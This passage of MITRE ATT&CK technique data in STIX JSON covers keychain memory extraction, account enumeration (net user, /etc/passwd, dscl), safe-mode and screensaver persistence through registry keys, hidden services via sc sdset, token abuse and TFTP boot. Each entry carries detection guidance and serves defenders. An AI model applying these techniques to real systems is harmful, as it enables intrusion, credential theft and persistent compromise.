2021.","url":"https://www.sygnia.co/golden-saml-advisory"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2023-12-26T20:58:19.356Z","name":"Symmetric Cryptography","description":"Adversaries may employ a known symmetric encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Symmetric encryption algorithms use the same key for plaintext encryption and ciphertext decryption. Common symmetric encryption algorithms include AES, DES, 3DES, Blowfish, and RC4.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"command-and-control"}],"x_mitre_deprecated":false,"x_mitre_detection":"With symmetric encryption, it may be possible to obtain the algorithm and key from samples and use them to decode network traffic to detect malware communications signatures.\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","Windows","macOS","Network"],"x_mitre_version":"1.1","x_mitre_data_sources":["Network Traffic: Network Traffic Content"],"type":"attack-pattern","id":"attack-pattern--24bfaeba-cb0d-4525-b3dc-507c77ecec41","created":"2020-03-16T15:45:17.032Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1573/001","external_id":"T1573.001"},{"source_name":"University of Birmingham C2","description":"Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016.","url":"https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"modified":"2024-01-11T23:47:44.655Z","name":"Local Account","description":"Adversaries may attempt to get a listing of local system accounts. This information can help adversaries determine which local accounts exist on a system to aid in follow-on behavior.\n\nCommands such as net user and net localgroup of the [Net](https://attack.mitre.org/software/S0039) utility and id and groups on macOS and Linux can list local users and groups.(Citation: Mandiant APT1)(Citation: id man page)(Citation: groups man page) On Linux, local users can also be enumerated through the use of the /etc/passwd file. On macOS the dscl . list /Users command can be used to enumerate local accounts.","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"discovery"}],"x_mitre_contributors":["Daniel Stepanic, Elastic","Miriam Wiesner, @miriamxyra, Microsoft Security"],"x_mitre_deprecated":false,"x_mitre_detection":"System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.\n\nMonitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nMonitor for processes that can be used to enumerate user accounts, such as net.exe and net1.exe, especially when executed in quick succession.(Citation: Elastic - Koadiac Detection with EQL)","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Linux","macOS","Windows"],"x_mitre_version":"1.4","x_mitre_data_sources":["Process: OS API Execution","Group: Group Enumeration","Process: Process Creation","Command: Command Execution","File: File Access"],"type":"attack-pattern","id":"attack-pattern--25659dd6-ea12-45c4-97e6-381e3e4b593e","created":"2020-02-21T21:07:55.393Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1087/001","external_id":"T1087.001"},{"source_name":"id man page","description":"MacKenzie, D. and Robbins, A. (n.d.). id(1) - Linux man page. Retrieved January 11, 2024.","url":"https://linux.die.net/man/1/id"},{"source_name":"groups man page","description":"MacKenzie, D. and Youngman, J. (n.d.). groups(1) - Linux man page. Retrieved January 11, 2024.","url":"https://linux.die.net/man/1/groups"},{"source_name":"Mandiant APT1","description":"Mandiant. (n.d.). APT1 Exposing One of China’s Cyber Espionage Units. Retrieved July 18, 2016.","url":"https://www.fireeye.com/content/dam/fireeye-www/services/pdfs/mandiant-apt1-report.pdf"},{"source_name":"Elastic - Koadiac Detection with EQL","description":"Stepanic, D.. (2020, January 13). Embracing offensive tooling: Building detections against Koadic using EQL. Retrieved November 30, 2020.","url":"https://www.elastic.co/blog/embracing-offensive-tooling-building-detections-against-koadic-using-eql"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["macOS"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2715c335-1bf2-4efe-9f18-0691317ff83b","type":"attack-pattern","created":"2017-12-14T16:46:06.044Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1167","url":"https://attack.mitre.org/techniques/T1167"},{"url":"http://juusosalonen.com/post/30923743427/breaking-into-the-os-x-keychain","description":"Juuso Salonen. (2012, September 5). Breaking into the OS X keychain. Retrieved July 15, 2017.","source_name":"OS X Keychain"},{"url":"http://www.slideshare.net/StephanBorosh/external-to-da-the-os-x-way","description":"Alex Rymdeko-Harvey, Steve Borosh. (2016, May 14). External to DA, the OS X Way. Retrieved July 3, 2017.","source_name":"External to DA, the OS X Way"},{"url":"https://www.welivesecurity.com/2016/07/06/new-osxkeydnap-malware-hungry-credentials/","description":"Marc-Etienne M.Leveille. (2016, July 6). New OSX/Keydnap malware is hungry for credentials. Retrieved July 3, 2017.","source_name":"OSX Keydnap malware"}],"modified":"2020-02-12T18:56:59.153Z","name":"Securityd Memory","description":"In OS X prior to El Capitan, users with root access can read plaintext keychain passwords of logged-in users because Apple’s keychain implementation allows these credentials to be cached so that users are not repeatedly prompted for passwords. (Citation: OS X Keychain) (Citation: External to DA, the OS X Way) Apple’s securityd utility takes the user’s logon password, encrypts it with PBKDF2, and stores this master key in memory. Apple also uses a set of keys and algorithms to encrypt the user’s password, but once the master key is found, an attacker need only iterate over the other values to unlock the final password. (Citation: OS X Keychain)\n\nIf an adversary can obtain root access (allowing them to read securityd’s memory), then they can scan through memory to find the correct sequence of keys in relatively few tries to decrypt the user’s logon keychain. This provides the adversary with all the plaintext passwords for users, WiFi, mail, browsers, certificates, secure notes, etc. (Citation: OS X Keychain) (Citation: OSX Keydnap malware)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"credential-access"}],"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["root"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["PRE"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--274770e0-2612-4ccf-a678-ef8e7bad365d","type":"attack-pattern","created":"2020-10-01T01:18:35.535Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1586.001","url":"https://attack.mitre.org/techniques/T1586/001"},{"source_name":"AnonHBGary","description":"Bright, P. (2011, February 15). Anonymous speaks: the inside story of the HBGary hack. Retrieved March 9, 2017.","url":"https://arstechnica.com/tech-policy/2011/02/anonymous-speaks-the-inside-story-of-the-hbgary-hack/"},{"source_name":"NEWSCASTER2014","description":"Lennon, M. (2014, May 29). Iranian Hackers Targeted US Officials in Elaborate Social Media Attack Operation. Retrieved March 1, 2017.","url":"https://www.securityweek.com/iranian-hackers-targeted-us-officials-elaborate-social-media-attack-operation"},{"source_name":"BlackHatRobinSage","description":"Ryan, T. (2010). “Getting In Bed with Robin Sage.”. Retrieved March 6, 2017.","url":"http://media.blackhat.com/bh-us-10/whitepapers/Ryan/BlackHat-USA-2010-Ryan-Getting-In-Bed-With-Robin-Sage-v1.0.pdf"}],"modified":"2021-10-16T17:15:12.169Z","name":"Social Media Accounts","description":"Adversaries may compromise social media accounts that can be used during targeting. For operations incorporating social engineering, the utilization of an online persona may be important. Rather than creating and cultivating social media profiles (i.e. [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001)), adversaries may compromise existing social media accounts. Utilizing an existing persona may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. \n\nA variety of methods exist for compromising social media accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising social media accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nPersonas may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, etc.). Compromised social media accounts may require additional development, this could include filling out or modifying profile information, further developing social networks, or incorporating photos.\n\nAdversaries can use a compromised social media profile to create new, or hijack existing, connections to targets of interest. These connections may be direct or may include trying to connect through others.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage) Compromised profiles may be leveraged during other phases of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"resource-development"}],"x_mitre_detection":"Consider monitoring social media activity related to your organization. Suspicious activity may include personas claiming to work for your organization or recently modified accounts making numerous connection requests to accounts affiliated with your organization.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Spearphishing via Service](https://attack.mitre.org/techniques/T1566/003)).","x_mitre_is_subtechnique":true,"x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Persona: Social Media","Network Traffic: Network Traffic Content"]},{"modified":"2023-11-02T15:39:10.534Z","name":"Application Access Token","description":"Adversaries may use application access tokens to bypass the typical authentication process and access restricted accounts, information, or services on remote systems. These tokens are typically stolen from users and used in lieu of login credentials.\n\nApplication access tokens are used to make authorized API requests on behalf of a user and are commonly used as a way to access resources in cloud-based applications and software-as-a-service (SaaS).(Citation: Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019) OAuth is one commonly implemented framework that issues tokens to users for access to systems. These frameworks are used collaboratively to verify the user and determine what actions the user is allowed to perform. Once identity is established, the token allows actions to be authorized, without passing the actual credentials of the user. Therefore, compromise of the token can grant the adversary access to resources of other sites through a malicious application.(Citation: okta)\n\nFor example, with a cloud-based email service once an OAuth access token is granted to a malicious application, it can potentially gain long-term access to features of the user account if a \"refresh\" token enabling background access is awarded.(Citation: Microsoft Identity Platform Access 2019) With an OAuth access token an adversary can use the user-granted REST API to perform functions such as email searching and contact enumeration.(Citation: Staaldraad Phishing with OAuth 2017)\n\nCompromised access tokens may be used as an initial step in compromising other services. For example, if a token grants access to a victim’s primary email, the adversary may be able to extend access to all other services which the target subscribes by triggering forgotten password routines. Direct API access through a token negates the effectiveness of a second authentication factor and may be immune to intuitive countermeasures like changing passwords. Access abuse over an API channel can be difficult to detect even from the service provider end, as the access can still align well with a legitimate workflow.\n","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"lateral-movement"}],"x_mitre_contributors":["Mark Wee","Jeff Sakowicz, Microsoft Identity Developer Platform Services (IDPM Services)","Saisha Agrawal, Microsoft Threat Intelligent Center (MSTIC)","Shailesh Tiwary (Indian Army)","Jack Burns, HubSpot"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor access token activity for abnormal use and permissions granted to unusual or suspicious applications. Administrators can set up a variety of logs and leverage audit tools to monitor actions that can be conducted as a result of OAuth 2.0 access. For instance, audit reports enable admins to identify privilege escalation actions such as role creations or policy modifications, which could be actions performed after initial access.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":false,"x_mitre_platforms":["SaaS","Office 365"],"x_mitre_version":"1.1","x_mitre_defense_bypassed":["Multi-Factor Authentication","Logon Credentials"],"type":"attack-pattern","id":"attack-pattern--27960489-4e7f-461d-a62a-f5c0cb521e4a","created":"2019-08-30T12:55:58.607Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1527","external_id":"T1527"},{"source_name":"Auth0 - Why You Should Always Use Access Tokens to Secure APIs Sept 2019","description":"Auth0. (n.d.). Why You Should Always Use Access Tokens to Secure APIs. Retrieved September 12, 2019.","url":"https://auth0.com/blog/why-should-use-accesstokens-to-secure-an-api/"},{"source_name":"Microsoft Identity Platform Access 2019","description":"Cai, S., Flores, J., de Guzman, C., et. al.. (2019, August 27). Microsoft identity platform access tokens. Retrieved October 4, 2019.","url":"https://docs.microsoft.com/en-us/azure/active-directory/develop/access-tokens"},{"source_name":"okta","description":"okta. (n.d.). What Happens If Your JWT Is Stolen?. Retrieved September 12, 2019.","url":"https://developer.okta.com/blog/2018/06/20/what-happens-if-your-jwt-is-stolen"},{"source_name":"Staaldraad Phishing with OAuth 2017","description":"Stalmans, E.. (2017, August 2). Phishing with OAuth and o365/Azure. Retrieved October 4, 2019.","url":"https://staaldraad.github.io/2017/08/02/o356-phishing-with-oauth/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Jorell Magtibay, National Australia Bank Limited","Kiyohito Yamamoto, RedLark, NTT Communications","Yusuke Kubo, RedLark, NTT Communications"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--28170e17-8384-415c-8486-2e6b294cb803","type":"attack-pattern","created":"2021-06-23T20:00:27.600Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1562.009","url":"https://attack.mitre.org/techniques/T1562/009"},{"source_name":"Microsoft Safe Mode","url":"https://support.microsoft.com/en-us/windows/start-your-pc-in-safe-mode-in-windows-10-92c27cff-db89-8644-1ce4-b3e5e56fe234","description":"Microsoft. (n.d.). Start your PC in safe mode in Windows 10. Retrieved June 23, 2021."},{"source_name":"Sophos Snatch Ransomware 2019","url":"https://news.sophos.com/en-us/2019/12/09/snatch-ransomware-reboots-pcs-into-safe-mode-to-bypass-protection/","description":"Sophos. (2019, December 9). Snatch ransomware reboots PCs into Safe Mode to bypass protection. Retrieved June 23, 2021."},{"source_name":"Microsoft bcdedit 2021","url":"https://docs.microsoft.com/en-us/windows-server/administration/windows-commands/bcdedit","description":"Microsoft. (2021, May 27). bcdedit. Retrieved June 23, 2021."},{"source_name":"CyberArk Labs Safe Mode 2016","url":"https://www.cyberark.com/resources/blog/cyberark-labs-from-safe-mode-to-domain-compromise","description":"Naim, D.. (2016, September 15). CyberArk Labs: From Safe Mode to Domain Compromise. Retrieved June 23, 2021."},{"source_name":"Cybereason Nocturnus MedusaLocker 2020","url":"https://www.cybereason.com/blog/medusalocker-ransomware","description":"Cybereason Nocturnus. (2020, November 19). Cybereason vs. MedusaLocker Ransomware. Retrieved June 23, 2021."},{"source_name":"BleepingComputer REvil 2021","url":"https://www.bleepingcomputer.com/news/security/revil-ransomware-has-a-new-windows-safe-mode-encryption-mode/","description":"Abrams, L. (2021, March 19). REvil ransomware has a new ‘Windows Safe Mode’ encryption mode. Retrieved June 23, 2021."},{"source_name":"Microsoft Bootcfg","url":"https://docs.microsoft.com/windows-server/administration/windows-commands/bootcfg","description":"Gerend, J. et al. (2017, October 16). bootcfg. Retrieved August 30, 2021."}],"modified":"2021-08-31T14:51:47.352Z","name":"Safe Mode Boot","description":"Adversaries may abuse Windows safe mode to disable endpoint defenses. Safe mode starts up the Windows operating system with a limited set of drivers and services. Third-party security software such as endpoint detection and response (EDR) tools may not start after booting Windows in safe mode. There are two versions of safe mode: Safe Mode and Safe Mode with Networking. It is possible to start additional services after a safe mode boot.(Citation: Microsoft Safe Mode)(Citation: Sophos Snatch Ransomware 2019)\n\nAdversaries may abuse safe mode to disable endpoint defenses that may not start with a limited boot. Hosts can be forced into safe mode after the next reboot via modifications to Boot Configuration Data (BCD) stores, which are files that manage boot application settings.(Citation: Microsoft bcdedit 2021)\n\nAdversaries may also add their malicious applications to the list of minimal services that start in safe mode by modifying relevant Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)). Malicious [Component Object Model](https://attack.mitre.org/techniques/T1559/001) (COM) objects may also be registered and loaded in safe mode.(Citation: Sophos Snatch Ransomware 2019)(Citation: CyberArk Labs Safe Mode 2016)(Citation: Cybereason Nocturnus MedusaLocker 2020)(Citation: BleepingComputer REvil 2021)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"}],"x_mitre_detection":"Monitor Registry modification and additions for services that may start on safe mode. For example, a program can be forced to start on safe mode boot by adding a \\* in front of the \"Startup\" value name: HKLM\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\[\"\\*Startup\"=\"{Path}\"] or by adding a key to HKLM\\SYSTEM\\CurrentControlSet\\Control\\SafeBoot\\Minimal.(Citation: BleepingComputer REvil 2021)(Citation: Sophos Snatch Ransomware 2019)\n\nMonitor execution of processes and commands associated with making configuration changes to boot settings, such as bcdedit.exe and bootcfg.exe.(Citation: Microsoft bcdedit 2021)(Citation: Microsoft Bootcfg)(Citation: Sophos Snatch Ransomware 2019)","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Creation","Process: Process Creation","Windows Registry: Windows Registry Key Modification","Command: Command Execution"],"x_mitre_defense_bypassed":["Host Intrusion Prevention Systems","Anti-virus"],"x_mitre_permissions_required":["Administrator"]},{"x_mitre_platforms":["Windows"],"x_mitre_domains":["enterprise-attack"],"x_mitre_contributors":["Bartosz Jerzman"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--2892b9ee-ca9f-4723-b332-0dc6e843a8ae","type":"attack-pattern","created":"2018-01-16T16:13:52.465Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":true,"external_references":[{"source_name":"mitre-attack","external_id":"T1180","url":"https://attack.mitre.org/techniques/T1180"},{"source_name":"Wikipedia Screensaver","description":"Wikipedia. (2017, November 22). Screensaver. Retrieved December 5, 2017.","url":"https://en.wikipedia.org/wiki/Screensaver"},{"source_name":"ESET Gazer Aug 2017","description":"ESET. (2017, August). Gazing at Gazer: Turla’s new second stage backdoor. Retrieved September 14, 2017.","url":"https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf"}],"modified":"2020-01-24T13:51:47.990Z","name":"Screensaver","description":"Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension.(Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.scr is located in C:\\Windows\\System32\\, and C:\\Windows\\sysWOW64\\ on 64-bit Windows systems, along with screensavers included with base Windows installations. \n\nThe following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n* SCRNSAVE.exe - set to malicious PE path\n* ScreenSaveActive - set to '1' to enable the screensaver\n* ScreenSaverIsSecure - set to '0' to not require a password to unlock\n* ScreenSaveTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.","x_mitre_version":"1.1","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_permissions_required":["User"],"x_mitre_is_subtechnique":false},{"x_mitre_platforms":["Network"],"x_mitre_domains":["enterprise-attack"],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"attack-pattern--28abec6c-4443-4b03-8206-07f2e264a6b4","type":"attack-pattern","created":"2020-10-20T00:06:56.180Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"mitre-attack","external_id":"T1542.005","url":"https://attack.mitre.org/techniques/T1542/005"},{"source_name":"Cisco Blog Legacy Device Attacks","url":"https://community.cisco.com/t5/security-blogs/attackers-continue-to-target-legacy-devices/ba-p/4169954","description":"Omar Santos. (2020, October 19). Attackers Continue to Target Legacy Devices. Retrieved October 20, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Secure Boot","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#35","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Secure Boot. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Image File Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#7","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Image File Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Run-Time Memory Verification","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#13","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Cisco IOS Run-Time Memory Integrity Verification. Retrieved October 19, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Command History","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#23","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Command History. Retrieved October 21, 2020."},{"source_name":"Cisco IOS Software Integrity Assurance - Boot Information","url":"https://tools.cisco.com/security/center/resources/integrity_assurance.html#26","description":"Cisco. (n.d.). Cisco IOS Software Integrity Assurance - Boot Information. Retrieved October 21, 2020."}],"modified":"2020-10-22T16:35:53.806Z","name":"TFTP Boot","description":"Adversaries may abuse netbooting to load an unauthorized network device operating system from a Trivial File Transfer Protocol (TFTP) server. TFTP boot (netbooting) is commonly used by network administrators to load configuration-controlled network device images from a centralized management server. Netbooting is one option in the boot sequence and can be used to centralize, manage, and control device images.\n\nAdversaries may manipulate the configuration on the network device specifying use of a malicious TFTP server, which may be used in conjunction with [Modify System Image](https://attack.mitre.org/techniques/T1601) to load a modified image on device startup or reset. The unauthorized image allows adversaries to modify device configuration, add malicious capabilities to the device, and introduce backdoors to maintain control of the network device while minimizing detection through use of a standard functionality. This technique is similar to [ROMMONkit](https://attack.mitre.org/techniques/T1542/004) and may result in the network device running a modified image. (Citation: Cisco Blog Legacy Device Attacks)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"defense-evasion"},{"kill_chain_name":"mitre-attack","phase_name":"persistence"}],"x_mitre_detection":"Consider comparing a copy of the network device configuration and system image against a known-good version to discover unauthorized changes to system boot, startup configuration, or the running OS. (Citation: Cisco IOS Software Integrity Assurance - Secure Boot) (Citation: Cisco IOS Software Integrity Assurance - Image File Verification)The same process can be accomplished through a comparison of the run-time memory, though this is non-trivial and may require assistance from the vendor. (Citation: Cisco IOS Software Integrity Assurance - Run-Time Memory Verification)\n\nReview command history in either the console or as part of the running memory to determine if unauthorized or suspicious commands were used to modify device configuration. (Citation: Cisco IOS Software Integrity Assurance - Command History) Check boot information including system uptime, image booted, and startup configuration to determine if results are consistent with expected behavior in the environment. (Citation: Cisco IOS Software Integrity Assurance - Boot Information) Monitor unusual connections or connection attempts to the device that may specifically target TFTP or other file-sharing protocols.","x_mitre_is_subtechnique":true,"x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_data_sources":["Command: Command Execution","Network Traffic: Network Connection Creation","Firmware: Firmware Modification"],"x_mitre_permissions_required":["Administrator"]},{"modified":"2024-04-11T19:25:51.394Z","name":"Windows Service","description":"Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.(Citation: TechNet Services) Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.\n\nAdversaries may install a new service or modify an existing service to execute at startup in order to persist on a system. Service configurations can be set or modified using system utilities (such as sc.exe), by directly modifying the Registry, or by interacting directly with the Windows API. \n\nAdversaries may also use services to install and execute malicious drivers. For example, after dropping a driver file (ex: `.sys`) to disk, the payload can be loaded and registered via [Native API](https://attack.mitre.org/techniques/T1106) functions such as `CreateServiceW()` (or manually via functions such as `ZwLoadDriver()` and `ZwSetValueKey()`), by creating the required service Registry values (i.e. [Modify Registry](https://attack.mitre.org/techniques/T1112)), or by using command-line utilities such as `PnPUtil.exe`.(Citation: Symantec W.32 Stuxnet Dossier)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Unit42 AcidBox June 2020) Adversaries may leverage these drivers as [Rootkit](https://attack.mitre.org/techniques/T1014)s to hide the presence of malicious activity on a system. Adversaries may also load a signed yet vulnerable driver onto a compromised machine (known as \"Bring Your Own Vulnerable Driver\" (BYOVD)) as part of [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068).(Citation: ESET InvisiMole June 2020)(Citation: Unit42 AcidBox June 2020)\n\nServices may be created with administrator privileges but are executed under SYSTEM privileges, so an adversary may also use a service to escalate privileges. Adversaries may also directly start services through [Service Execution](https://attack.mitre.org/techniques/T1569/002).\n\nTo make detection analysis more challenging, malicious services may also incorporate [Masquerade Task or Service](https://attack.mitre.org/techniques/T1036/004) (ex: using a service and/or payload name related to a legitimate OS or benign software component). Adversaries may also create ‘hidden’ services (i.e., [Hide Artifacts](https://attack.mitre.org/techniques/T1564)), for example by using the `sc sdset` command to set service permissions via the Service Descriptor Definition Language (SDDL). This may hide a Windows service from the view of standard service enumeration methods such as `Get-Service`, `sc query`, and `services.exe`.(Citation: SANS 1)(Citation: SANS 2)","kill_chain_phases":[{"kill_chain_name":"mitre-attack","phase_name":"persistence"},{"kill_chain_name":"mitre-attack","phase_name":"privilege-escalation"}],"x_mitre_contributors":["Matthew Demaske, Adaptforward","Pedro Harrison","Mayuresh Dani, Qualys","Wietze Beukema, @wietze","Akshat Pradhan, Qualys","Wirapong Petshagun"],"x_mitre_deprecated":false,"x_mitre_detection":"Monitor processes and command-line arguments for actions that could create or modify services. Command-line invocation of tools capable of adding or modifying services may be unusual, depending on how systems are typically used in a particular environment. Services may also be modified through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001), so additional logging may need to be configured to gather the appropriate data. Remote access tools with built-in features may also interact directly with the Windows API to perform these functions outside of typical system utilities. Collect service utility execution and service binary path arguments used for analysis. Service binary paths may even be changed to execute commands or scripts. \n\nLook for changes to service Registry entries that do not correlate with known software, patch cycles, etc. Service information is stored in the Registry at HKLM\\SYSTEM\\CurrentControlSet\\Services. Changes to the binary path and the service startup type changed from manual or disabled to automatic, if it does not typically do so, may be suspicious. Tools such as Sysinternals Autoruns may also be used to detect system service changes that could be attempts at persistence.(Citation: TechNet Autoruns) \n\nCreation of new services may generate an alterable event (ex: Event ID 4697 and/or 7045 (Citation: Microsoft 4697 APR 2017)(Citation: Microsoft Windows Event Forwarding FEB 2018)). New, benign services may be created during installation of new software.\n\nSuspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data. Look for abnormal process call trees from known services and for execution of other commands that could relate to Discovery or other adversary techniques. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.","x_mitre_domains":["enterprise-attack"],"x_mitre_is_subtechnique":true,"x_mitre_platforms":["Windows"],"x_mitre_version":"1.5","x_mitre_data_sources":["Windows Registry: Windows Registry Key Modification","Process: Process Creation","Network Traffic: Network Traffic Flow","Service: Service Creation","Command: Command Execution","File: File Metadata","Windows Registry: Windows Registry Key Creation","Driver: Driver Load","Service: Service Modification","Process: OS API Execution"],"x_mitre_effective_permissions":["Administrator","SYSTEM"],"type":"attack-pattern","id":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","created":"2020-01-17T19:13:50.402Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"mitre-attack","url":"https://attack.mitre.org/techniques/T1543/003","external_id":"T1543.003"},{"source_name":"Microsoft Windows Event Forwarding FEB 2018","description":"Hardy, T. & Hall, J. (2018, February 15). Use Windows Event Forwarding to help with intrusion detection. Retrieved August 7, 2018.","url":"https://docs.microsoft.com/windows/security/threat-protection/use-windows-event-forwarding-to-assist-in-intrusion-detection"},{"source_name":"ESET 